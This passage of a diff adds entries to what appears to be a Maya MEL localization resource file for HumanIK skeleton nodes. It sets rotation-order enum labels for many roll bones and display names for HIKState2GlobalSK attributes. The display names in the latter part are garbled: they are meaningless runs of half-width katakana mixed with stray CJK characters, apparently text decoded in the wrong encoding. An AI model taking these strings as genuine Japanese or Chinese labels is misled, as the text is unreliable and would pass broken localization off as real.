"zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll5ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll5ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll5ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll5ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll5ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll5ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll5ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll5ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll5ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll5ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll5ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll5ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll5ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll5ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll5ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll5ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll5ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll5ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll5ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll5ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll5ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll5ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll5ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll5ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll5ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll5ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll5ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll5ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll5ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll5ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll5ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll5ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll5ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll5ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll5ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll5ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll5ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll5ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll5ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll5ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll5ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll5ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll5ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll5ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll5ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll5ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll5ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll5ROrder", 5, "zyx" ); +// +// Node: HIKState2GlobalSK +// +setNodeNiceNameResource( "HIKState2GlobalSK", "HIKState 2Global SK" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "fzn", "カウス" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "InputCharacterState", "ハ菠スヌノォラエフャ" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "InputCharacterDefinition", "ハ菠スヌノォカィメ" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "ReferenceGX", "メモテ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "HipsGX", "ナイソ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftUpLegGX", "ラエヘネ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftLegGX", "ラヘネ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootGX", "ラスナ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightUpLegGX", "モメエヘネ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightLegGX", "モメヘネ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootGX", "モメスナ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "SpineGX", "シケラオ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftArmGX", "ラアロ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftForeArmGX", "ラヌーアロ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandGX", "ラハヨ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightArmGX", "モメアロ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightForeArmGX", "モメヌーアロ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandGX", "モメハヨ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "HeadGX", "ヘキイソ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftToeBaseGX", "ラスナヨコク GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightToeBaseGX", "モメスナヨコク GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftShoulderGX", "ラシ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightShoulderGX", "モメシ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "NeckGX", "セアイソ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFingerBaseGX", "ラハヨヨクク GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFingerBaseGX", "モメハヨヨクク GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Spine1GX", "シケラオ 1 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Spine2GX", "シケラオ 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Spine3GX", "シケラオ 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Spine4GX", "シケラオ 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Spine5GX", "シケラオ 5 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Spine6GX", "シケラオ 6 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Spine7GX", "シケラオ 7 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Spine8GX", "シケラオ 8 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Spine9GX", "シケラオ 9 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Neck1GX", "セアイソ 1 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Neck2GX", "セアイソ 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Neck3GX", "セアイソ 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Neck4GX", "セアイソ 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Neck5GX", "セアイソ 5 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Neck6GX", "セアイソ 6 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Neck7GX", "セアイソ 7 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Neck8GX", "セアイソ 8 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Neck9GX", "セアイソ 9 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftUpLegRollGX", "ラエヘネイ犹 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftLegRollGX", "ラヘネイ犹 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightUpLegRollGX", "モメエヘネイ犹 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightLegRollGX", "モメヘネイ犹 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftArmRollGX", "ラアロイ犹 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftForeArmRollGX", "ラヌーアロイ犹 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightArmRollGX", "モメアロイ犹 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightForeArmRollGX", "モメヌーアロイ犹 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "HipsTranslationGX", "ナイソニスメニ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandThumb1GX", "ラハヨトエヨク 1 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandThumb2GX", "ラハヨトエヨク 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandThumb3GX", "ラハヨトエヨク 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandThumb4GX", "ラハヨトエヨク 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandIndex1GX", "ラハヨハウヨク 1 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandIndex2GX", "ラハヨハウヨク 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandIndex3GX", "ラハヨハウヨク 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandIndex4GX", "ラハヨハウヨク 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandMiddle1GX", "ラハヨヨミヨク 1 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandMiddle2GX", "ラハヨヨミヨク 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandMiddle3GX", "ラハヨヨミヨク 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandMiddle4GX", "ラハヨヨミヨク 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandRing1GX", "ラハヨボテヨク 1 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandRing2GX", "ラハヨボテヨク 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandRing3GX", "ラハヨボテヨク 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandRing4GX", "ラハヨボテヨク 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandPinky1GX", "ラハヨミ。ヨク 1 GX" ); 